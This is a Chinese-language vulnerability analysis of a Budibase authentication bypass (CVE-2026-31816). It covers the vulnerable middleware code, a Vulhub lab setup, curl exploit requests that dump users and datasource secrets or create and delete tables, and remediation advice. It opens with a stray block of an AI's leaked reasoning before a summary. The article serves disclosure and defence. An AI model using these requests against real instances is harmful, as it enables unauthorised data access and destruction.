Budibase身份验证漏洞分析
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户的要求是直接写文章描述,不需要开头的总结语。首先,我得仔细阅读文章内容,找出关键信息。 文章主要讲的是Budibase在2026年3月9日披露的一个关键漏洞CVE-2026-31816。这个漏洞属于身份验证绕过,影响版本是3.31.4及更早。攻击者可以通过在URL中添加特定参数绕过所有安全检查,完全控制系统。漏洞等级是CRITICAL,CVSS评分9.1。 接下来,我需要将这些信息浓缩到100字以内。要确保包括漏洞名称、影响版本、攻击方式、漏洞等级以及可能的影响。同时,语言要简洁明了,避免使用复杂的术语。 可能会遗漏一些细节,比如具体的修复建议或Budibase的功能介绍,但用户只要求总结内容,所以这些可以省略。重点放在漏洞的核心信息和影响上。 最后,检查字数是否符合要求,并确保语句通顺、准确。 </think> Budibase CVE-2026-31816 是一个严重的身份验证绕过漏洞,影响 Budibase 3.31.4 及更早版本。攻击者可通过在 URL 中添加特定查询参数绕过所有安全检查,完全控制系统。该漏洞源于正则表达式未锚定和 URL 处理逻辑缺陷。 2026-3-16 07:49:39 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

一、漏洞概述

2026 年 3 月 9 日,Budibase 官方发布了严重的安全公告,披露了一个关键的身份验证绕过漏洞 (CVE-2026-31816),该漏洞影响 Budibase 3.31.4 及更早版本。攻击者只需在 URL 中添加特定的查询参数,即可完全绕过所有身份验证、授权检查和 CSRF 保护,直接访问任何服务器端 API 端点,实现对系统的完全控制。

漏洞等级:CRITICAL (CVSS 3.1 评分:9.1)

漏洞类型:身份验证绕过 发现时间:2026 年 3 月 9 日

影响版本:Budibase 3.31.4 及更早版本

CVE 编号:CVE-2026-31816

GHSA 编号:GHSA-gw94-hprh-4wj8

二、什么是 Budibase?

Budibase 是一个开源的低代码平台,用于创建内部工具、工作流和管理面板。它允许用户无需编写大量代码即可快速构建业务应用程序,支持多种数据源集成,提供可视化的界面设计器和丰富的组件库。Budibase 广泛应用于企业内部工具开发、业务流程自动化、数据管理系统等场景,因其易用性和灵活性受到开发者和企业的欢迎。

三、漏洞原理

3.1 漏洞核心原因

该漏洞源于 Budibase 服务器端的authorized()中间件实现存在缺陷,该中间件负责保护所有服务器端 API 端点。isWebhookEndpoint()函数使用了未锚定的正则表达式来测试ctx.request.url,而在 Koa 框架中,ctx.request.url包含了完整的 URL(包括查询参数)。当正则表达式匹配时,authorized()中间件会立即返回next(),完全绕过身份验证、授权检查、角色验证和 CSRF 保护。

3.2 漏洞代码分析

问题代码 1:webhook 端点检测函数

// 文件:packages/server/src/middleware/utils.ts (第3-14行)
const WEBHOOK_ENDPOINTS = new RegExp(
  ["webhooks/trigger", "webhooks/schema", "webhooks/discord", "webhooks/ms-teams"].join("|")
)

export function isWebhookEndpoint(ctx: UserCtx) {
  return WEBHOOK_ENDPOINTS.test(ctx.request.url)
  // BUG: ctx.request.url 包含查询字符串
  // BUG: 正则表达式未锚定 —— 会匹配URL中的任何位置
}

问题代码 2:授权中间件

// 文件:packages/server/src/middleware/authorized.ts (第84-96行)
const authorized = (permType, permLevel, opts, resourcePath) =>
  async (ctx: UserCtx, next: any) => {
    if (isWebhookEndpoint(ctx) || ctx.internal) {
      return next() // 绕过:身份验证检查、角色检查、CSRF保护、构建器中间件
    }
    // 以下所有安全检查都被跳过...
  }

3.3 漏洞触发条件

攻击者只需在任何 API 端点的 URL 后添加?/webhooks/trigger或其他 webhook 路径模式的变体,即可触发身份验证绕过。例如:

  • http://localhost:10000/api/ta_users/search?/webhooks/trigger

  • http://localhost:10000/api/tables?/webhooks/schema

  • http://localhost:10000/api/datasources?/webhooks/discord

四、漏洞利用

4.1 漏洞复现环境搭建

可以使用 Vulhub 提供的环境快速搭建漏洞复现环境:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/budibase/CVE-2026-31816
docker compose up -d

启动后,访问http://your-ip:10000即可访问 Budibase 界面,默认管理员凭据为[email protected]:admin123456

4.2 攻击示例

4.2.1 未授权读取所有用户数据

curl -s -X POST "http://localhost:10000/api/ta_users/search?/webhooks/trigger" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
  -d '{"query":{}}'

该请求将返回所有用户记录,包括邮箱地址、角色和其他敏感信息,而无需任何身份验证。

4.2.2 未授权创建表

curl -s -X POST "http://localhost:10000/api/tables?/webhooks/trigger" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>" \
  -d '{"name":"hacked_table","schema":{}}'

服务器将返回 HTTP 200 响应,并返回新创建表的 ID 和版本信息,证明攻击者可以在未授权的情况下创建表。

4.2.3 未授权删除表

curl -s -X DELETE \
  "http://localhost:10000/api/tables/<TABLE_ID>/<TABLE_REV>?/webhooks/trigger" \
  -H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"

攻击者可以使用该请求删除任意表,造成数据丢失。

4.2.4 未授权列出所有数据源

curl -s "http://localhost:10000/api/datasources?/webhooks/trigger" \
  -H "x-budibase-app-id: <TARGETED_WORKSPACE_ID>"

该请求将返回所有数据源的完整配置,包括数据库连接字符串、API 密钥等敏感信息。

4.3 可访问的敏感 API 端点

攻击者可以通过该漏洞访问所有服务器端 API 端点,包括但不限于:

  • /api/roles- 查看和修改角色权限

  • /api/integrations- 查看和修改集成配置

  • /api/views- 查看和修改视图

  • /api/plugins- 查看和修改插件

  • /api/automations- 查看和修改自动化工作流

  • /api/users- 查看和修改用户信息

  • /api/workspaces- 查看和修改工作空间配置

五、影响范围

5.1 受影响的系统

  • 所有自托管的 Budibase 实例,版本 3.31.4 及更早版本

  • 所有使用 Budibase 构建的内部工具、管理面板和业务应用

5.2 潜在危害

  • 完全身份验证绕过:攻击者无需任何凭据即可访问所有受保护的 API 端点

  • 数据泄露:攻击者可以读取所有用户数据、数据源配置、API 密钥等敏感信息

  • 数据篡改:攻击者可以创建、修改和删除表、数据记录、工作流等

  • 系统接管:攻击者可以修改系统配置、添加恶意用户、安装恶意插件

  • CSRF 保护绕过:所有 CSRF 保护机制都被绕过,攻击者可以执行跨站请求伪造攻击

  • 零交互攻击:无需用户点击或任何社会工程手段,纯网络攻击即可实现

六、修复建议

6.1 临时修复方案

  1. 修改 webhook 端点检测逻辑

- 将正则表达式改为锚定模式,只匹配 URL 路径部分,而不是整个 URL
- 只检查ctx.path而不是ctx.request.url,因为ctx.path不包含查询参数
修改后的代码示例:

const WEBHOOK_ENDPOINTS = new RegExp(
  "^/(webhooks/trigger|webhooks/schema|webhooks/discord|webhooks/ms-teams)$"
)

export function isWebhookEndpoint(ctx: UserCtx) {
  return WEBHOOK_ENDPOINTS.test(ctx.path)
}

2. Web 应用防火墙 (WAF) 规则:
- 阻止包含?/webhooks/或类似模式的请求
- 限制对 webhook 端点的访问,只允许可信 IP 地址

3. 网络隔离:

- 将 Budibase 部署在专用网络中,避免直接暴露在公网
- 使用反向代理限制对 API 端点的访问

七、总结

Budibase CVE-2026-31816 是一个严重的身份验证绕过漏洞,允许未授权攻击者完全控制系统。该漏洞源于正则表达式使用不当和 URL 处理逻辑缺陷,攻击者只需在 URL 中添加特定的查询参数即可绕过所有安全检查。

紧急提醒

  • 所有使用 Budibase 3.31.4 及更早版本的用户应立即采取临时修复措施

  • 密切关注官方修复版本发布,及时升级到安全版本

  • 加强网络安全防护,限制对 Budibase 实例的访问

  • 监控系统日志,发现可疑行为及时处理

安全无小事,特别是对于低代码平台这类用于构建内部工具的系统,一旦被攻击者控制,可能会导致严重的数据泄露和系统损坏。建议用户高度重视该漏洞,立即采取措施保护系统安全。

八、参考

https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8
https://nvd.nist.gov/vuln/detail/CVE-2026-31816
https://github.com/vulhub/vulhub/tree/master/budibase/CVE-2026-31816

文章来源: https://www.freebuf.com/articles/web/473662.html
如有侵权请联系:admin#unsafe.sh